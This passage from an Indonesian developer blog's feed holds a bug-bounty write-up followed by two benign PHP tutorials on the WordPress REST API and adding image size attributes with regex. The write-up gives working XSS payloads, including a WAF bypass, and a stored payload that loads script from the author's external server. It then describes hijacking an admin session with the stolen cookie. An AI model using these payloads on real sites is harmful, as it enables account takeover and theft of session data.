<p>Sekian artikel “Mengintip Dashboard Admin Situs Haram”. Semoga ada yang bisa dipelajari dari artikel ini, selain akhirnya kita tahu bentuk halaman dashboard admin situs haram. Sampai jumpa di artikel selanjutnya.</p>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Write Up" /><summary type="html"><![CDATA[Kegiatan ini berawal dari salah satu teman yang memberi informasi bahwa dia baru saja mendapatkan bounty dari salah satu situs haram yang ada di luar sana. Singkat cerita, saya mencoba mencari peruntungan serupa dengan mencari situs sejenis di pencarian Google dengan harapan menemukan situs yang cukup “umum” yang secara fitur punya banyak bagian yang bisa saya coba untuk masuki. Untuk mempermudah dan agar saya tidak perlu menyebut nama situsnya, mari kita sebut situs ini sebagai situsharam.com. Setelah mencoba beberapa fitur seperti list actors/actress, kategori, pencarian, serta fitur yang membutuhkan autentikasi pengguna seperti edit profile, like, comment dan semacamnya, saya menemukan beberapa celah yang detailnya akan saya jelaskan di bawah ini. Reflected XSS pada Halaman Pencarian Celah pertama adalah Reflected XSS yang saya temukan di halaman pencarian. Payload yang saya gunakan adalah: asd"&gt;&lt;ScRiPt%20&gt;alert(1);&lt;%2fscript&gt; Saat mencoba, saya menemukan bahwa karakter / diblok oleh WAF sehingga saya coba untuk mem-bypass rule tersebut menggunakan karakter %2f. Dari temuan ini saya bisa menggunakan payload yang sudah disisipi script untuk mencuri cookie pengguna. Pada kasus di dunia nyata, seorang penyerang akan menyisipkan javascript yang bertujuan untuk mencuri cookie pengguna dan beberapa data lain, lalu mengirimnya pada server penyerang. Untuk melakukan ini, penyerang perlu mengirim URL (yang sudah disisipi payload) ke pengguna lain atau pemilik/admin dari situs ini. Lalu penyerang akan menggunakan data tersebut untuk masuk di situs target tanpa menggunakan username dan password. Stored XSS pada Profile Saya rasa kebanyakan bug bounty hunter (termasuk saya) akan mencoba memasukkan payload ke setiap form yang kami temui. Dengan modal “penting yakin”, saya mengisi "&gt;&lt;h1&gt;asdf&lt;/h1&gt;" pada kolom nama di halaman Edit Profile. Setelah menyimpan perubahan tersebut, kode HTML yang saya sisipkan dibaca oleh situs sehingga menandakan adanya potensi untuk Stored XSS. Saya melanjutkan dengan memasukkan payload: "&gt;&lt;script src=//x.serversaya.com&gt;&lt;/script&gt;&lt;x=" "&gt; = digunakan untuk keluar dari input form (&lt;input&gt;) &lt;script src=//x.serversaya.com&gt;&lt;/script&gt; = digunakan untuk memanggil script dari server saya (ezXSS) &lt;x=" = digunakan untuk membuka kembali hasil escape dari input form, sehingga tidak ada “ type=”text” dst seperti screenshot di atas Setelah beberapa waktu menunggu, saya mendapat notifikasi bahwa payload di atas ditemukan di domain lain (cp.situslain.com) yang mana adalah dashboard admin dari situsharam.com. Berikut detail laporan dari ezXSS saat payload saya ditemukan di dashboard admin (klik gambar untuk memperbesar). Pada tangkapan layar di atas, terlihat ada cookie admin yang tertangkap oleh kode javascript yang saya panggil. Saya akan mencoba menggunakan Cookie tersebut untuk masuk ke https://cp.situslain.com/user/edit/{userid}. Ketika mengakses https://cp.situslain.com/user/edit/{userid}, saya dialihkan ke halaman login https://cp.situslain.com/user/login. Selanjutnya saya mencoba set cookie manual melalui Console pada inspect element dengan cara memasukkan kode javascript. Cookie ini berasal dari laporan ezXSS di atas: document.cookie = 'PHPSESSID=lot4#######################'; Setelah Cookie di-set, saya mencoba mengulang lagi dan akhirnya berhasil membuka halaman https://cp.situslain.com/user/edit/{userid}. Disclaimer Level dan Credit yang tertera pada screenshot adalah pemberian admin (apresiasi, menurut istilah sekarang) setelah saya melaporkan temuan ini. Proses pelaporan tidak akan saya jelaskan di sini, hehe. Sekian artikel “Mengintip Dashboard Admin Situs Haram”. Semoga ada yang bisa dipelajari dari artikel ini, selain akhirnya kita tahu bentuk halaman dashboard admin situs haram. Sampai jumpa di artikel selanjutnya.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/mengintip-dashboard-admin-situs-haram/images/screenshot-dashboard-admin-situs-haram.jpg" /><media:content medium="image" url="https://akbar.kustirama.id/mengintip-dashboard-admin-situs-haram/images/screenshot-dashboard-admin-situs-haram.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Menambahkan Next dan Previous Post pada Wordpress REST API</title><link href="https://akbar.kustirama.id/menambahkan-next-dan-previous-post-wordpress-rest-api/" rel="alternate" type="text/html" title="Menambahkan Next dan Previous Post pada Wordpress REST API" /><published>2022-06-25T00:00:00+07:00</published><updated>2022-06-25T00:00:00+07:00</updated><id>https://akbar.kustirama.id/menambahkan-next-dan-previous-post-wordpress-rest-api</id><content type="html" xml:base="https://akbar.kustirama.id/menambahkan-next-dan-previous-post-wordpress-rest-api/"><![CDATA[<p><strong>Menambahkan Next dan Previous Post pada Wordpress REST API</strong> - Secara <em>default</em>, Wordpress REST API tidak menyediakan link next/previous di dalam output JSON nya. Kita bisa menambahkannya secara manual agar link next/previous muncul di dalamnya.</p>

<p>Yang perlu kita lakukan adalah menambahkan function ini ke dalam <code class="language-plaintext highlighter-rouge">functions.php</code> yang ada pada tema Wordpress kita.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">add_filter</span><span class="p">(</span> <span class="s1">'rest_prepare_post'</span><span class="p">,</span> <span class="s1">'add_prev_next_to_rest'</span> <span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">3</span> <span class="p">);</span>

<span class="k">function</span> <span class="n">add_prev_next_to_rest</span><span class="p">(</span> <span class="nv">$response</span><span class="p">,</span> <span class="nv">$post</span><span class="p">,</span> <span class="nv">$request</span> <span class="p">)</span> <span class="p">{</span>
    <span class="k">global</span> <span class="nv">$post</span><span class="p">;</span>
    <span class="c1">// Get the next post.</span>
    <span class="nv">$next</span> <span class="o">=</span> <span class="nf">get_adjacent_post</span><span class="p">(</span> <span class="kc">false</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="kc">false</span> <span class="p">);</span>
    <span class="c1">// Get the previous post.</span>
    <span class="nv">$previous</span> <span class="o">=</span> <span class="nf">get_adjacent_post</span><span class="p">(</span> <span class="kc">false</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="kc">true</span> <span class="p">);</span>
    <span class="c1">// Only send id and slug (or null, if there is no next/previous post).</span>
    <span class="nv">$response</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="s1">'next'</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span> <span class="nb">is_a</span><span class="p">(</span> <span class="nv">$next</span><span class="p">,</span> <span class="s1">'WP_Post'</span><span class="p">)</span> <span class="p">)</span> <span class="o">?</span> <span class="k">array</span><span class="p">(</span> <span class="s2">"id"</span> <span class="o">=&gt;</span> <span class="nv">$next</span><span class="o">-&gt;</span><span class="no">ID</span><span class="p">,</span> <span class="s2">"slug"</span> <span class="o">=&gt;</span> <span class="nv">$next</span><span class="o">-&gt;</span><span class="n">post_name</span> <span class="p">)</span> <span class="o">:</span> <span class="kc">null</span><span class="p">;</span>
    <span class="nv">$response</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="s1">'previous'</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span> <span class="nb">is_a</span><span class="p">(</span> <span class="nv">$previous</span><span class="p">,</span> <span class="s1">'WP_Post'</span><span class="p">)</span> <span class="p">)</span> <span class="o">?</span> <span class="k">array</span><span class="p">(</span> <span class="s2">"id"</span> <span class="o">=&gt;</span> <span class="nv">$previous</span><span class="o">-&gt;</span><span class="no">ID</span><span class="p">,</span> <span class="s2">"slug"</span> <span class="o">=&gt;</span> <span class="nv">$previous</span><span class="o">-&gt;</span><span class="n">post_name</span> <span class="p">)</span> <span class="o">:</span> <span class="kc">null</span><span class="p">;</span>

    <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Function di atas akan menambahkan <em>key</em> baru ke dalam output JSON:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"next"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1728</span><span class="p">,</span><span class="w">
    </span><span class="nl">"slug"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bekerja-dengan-remote-repository"</span><span class="w">
</span><span class="p">}</span><span class="err">,</span><span class="w">
</span><span class="nl">"previous"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1651</span><span class="p">,</span><span class="w">
    </span><span class="nl">"slug"</span><span class="p">:</span><span class="w"> </span><span class="s2">"deploy-jekyll-ke-vercel-dengan-mudah"</span><span class="w">
</span><span class="p">}</span><span class="err">,</span><span class="w">
</span></code></pre></div></div>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="PHP" /><category term="WordPress" /><summary type="html"><![CDATA[Menambahkan Next dan Previous Post pada Wordpress REST API - Secara default, Wordpress REST API tidak menyediakan link next/previous di dalam output JSON nya. Kita bisa menambahkannya secara manual agar link next/previous muncul di dalamnya. Yang perlu kita lakukan adalah menambahkan function ini ke dalam functions.php yang ada pada tema Wordpress kita. add_filter( 'rest_prepare_post', 'add_prev_next_to_rest' , 10, 3 ); function add_prev_next_to_rest( $response, $post, $request ) { global $post; // Get the next post. $next = get_adjacent_post( false, '', false ); // Get the previous post. $previous = get_adjacent_post( false, '', true ); // Only send id and slug (or null, if there is no next/previous post). $response-&gt;data['next'] = ( is_a( $next, 'WP_Post') ) ? array( "id" =&gt; $next-&gt;ID, "slug" =&gt; $next-&gt;post_name ) : null; $response-&gt;data['previous'] = ( is_a( $previous, 'WP_Post') ) ? array( "id" =&gt; $previous-&gt;ID, "slug" =&gt; $previous-&gt;post_name ) : null; return $response; } Function di atas akan menambahkan key baru ke dalam output JSON: "next": { "id": 1728, "slug": "bekerja-dengan-remote-repository" }, "previous": { "id": 1651, "slug": "deploy-jekyll-ke-vercel-dengan-mudah" },]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/menambahkan-next-dan-previous-post-wordpress-rest-api/images/screenshot-2022-06-05-wp-rest-api.png.png" /><media:content medium="image" url="https://akbar.kustirama.id/menambahkan-next-dan-previous-post-wordpress-rest-api/images/screenshot-2022-06-05-wp-rest-api.png.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Menambahkan Atribut Size (Width dan Height) pada Tag Image</title><link href="https://akbar.kustirama.id/menambahkan-atribut-width-dan-height-pada-gambar/" rel="alternate" type="text/html" title="Menambahkan Atribut Size (Width dan Height) pada Tag Image" /><published>2021-09-14T00:00:00+07:00</published><updated>2021-09-14T00:00:00+07:00</updated><id>https://akbar.kustirama.id/menambahkan-atribut-width-dan-height-pada-gambar</id><content type="html" xml:base="https://akbar.kustirama.id/menambahkan-atribut-width-dan-height-pada-gambar/"><![CDATA[<p><strong>Menambahkan Atribut Size (Width dan Height) pada Tag Image</strong> - Tulisan ini cuma catatan pribadi karena saya ngga ngerti <em>regex</em>.</p>

<p>Saya mendapat sebuah <em>case</em> menambahkan atribut ke dalam tag <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> yang tidak mempunyai <code class="language-plaintext highlighter-rouge">height</code> dan <code class="language-plaintext highlighter-rouge">width</code> spesifik. Setelah mencoba beberapa cara, akhirnya ditemukan cara yang paling sederhana adalah menggunakan <code class="language-plaintext highlighter-rouge">preg_replace()</code>.</p>

<p>Kode yang saya gunakan:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$html_content = preg_replace('/(&lt;img(?:(?!height|width="\d+").)*?)(\/)?&gt;/', '$1 width="35%" height="35%"&gt;&lt;/img&gt;', $html_content);
</code></pre></div></div>

<p>Contoh keseluruhan kode:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$html_content</span> <span class="o">=</span> <span class="s1">'
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;title&gt;Title&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
	&lt;img src="https://assets.codelatte.net/images/uploads/dino.jpeg" class="ini-anggep-aja-class bla-bla"&gt;
	&lt;br/&gt;
	&lt;img src="https://assets.codelatte.net/images/uploads/dinoo.jpeg" class="ini-anggep-aja-class bla-bla"&gt;
&lt;/body&gt;
&lt;/html&gt;'</span><span class="p">;</span>

<span class="nv">$html_content</span> <span class="o">=</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'/(&lt;img(?:(?!height|width="\d+").)*?)(\/)?&gt;/'</span><span class="p">,</span> <span class="s1">'$1 width="35%" height="35%"&gt;&lt;/img&gt;'</span><span class="p">,</span> <span class="nv">$html_content</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$html_content</span><span class="p">;</span>
</code></pre></div></div>

<p>Hasilnya seperti yang terlihat di bawah ini.</p>

<p><img src="images/screenshot-1.png" width="100%" height="100%" alt="Menambahkan Atribut Size (Width dan Height) pada Tag Image" /></p>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="PHP" /><summary type="html"><![CDATA[Menambahkan Atribut Size (Width dan Height) pada Tag Image - Tulisan ini cuma catatan pribadi karena saya ngga ngerti regex. Saya mendapat sebuah case menambahkan atribut ke dalam tag &lt;img&gt; yang tidak mempunyai height dan width spesifik. Setelah mencoba beberapa cara, akhirnya ditemukan cara yang paling sederhana adalah menggunakan preg_replace(). Kode yang saya gunakan: $html_content = preg_replace('/(&lt;img(?:(?!height|width="\d+").)*?)(\/)?&gt;/', '$1 width="35%" height="35%"&gt;&lt;/img&gt;', $html_content); Contoh keseluruhan kode: &lt;?php $html_content = ' &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Title&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;img src="https://assets.codelatte.net/images/uploads/dino.jpeg" class="ini-anggep-aja-class bla-bla"&gt; &lt;br/&gt; &lt;img src="https://assets.codelatte.net/images/uploads/dinoo.jpeg" class="ini-anggep-aja-class bla-bla"&gt; &lt;/body&gt; &lt;/html&gt;'; $html_content = preg_replace('/(&lt;img(?:(?!height|width="\d+").)*?)(\/)?&gt;/', '$1 width="35%" height="35%"&gt;&lt;/img&gt;', $html_content); echo $html_content; Hasilnya seperti yang terlihat di bawah ini.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/menambahkan-atribut-width-dan-height-pada-gambar/images/screenshot-1.png" /><media:content medium="image" url="https://akbar.kustirama.id/menambahkan-atribut-width-dan-height-pada-gambar/images/screenshot-1.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>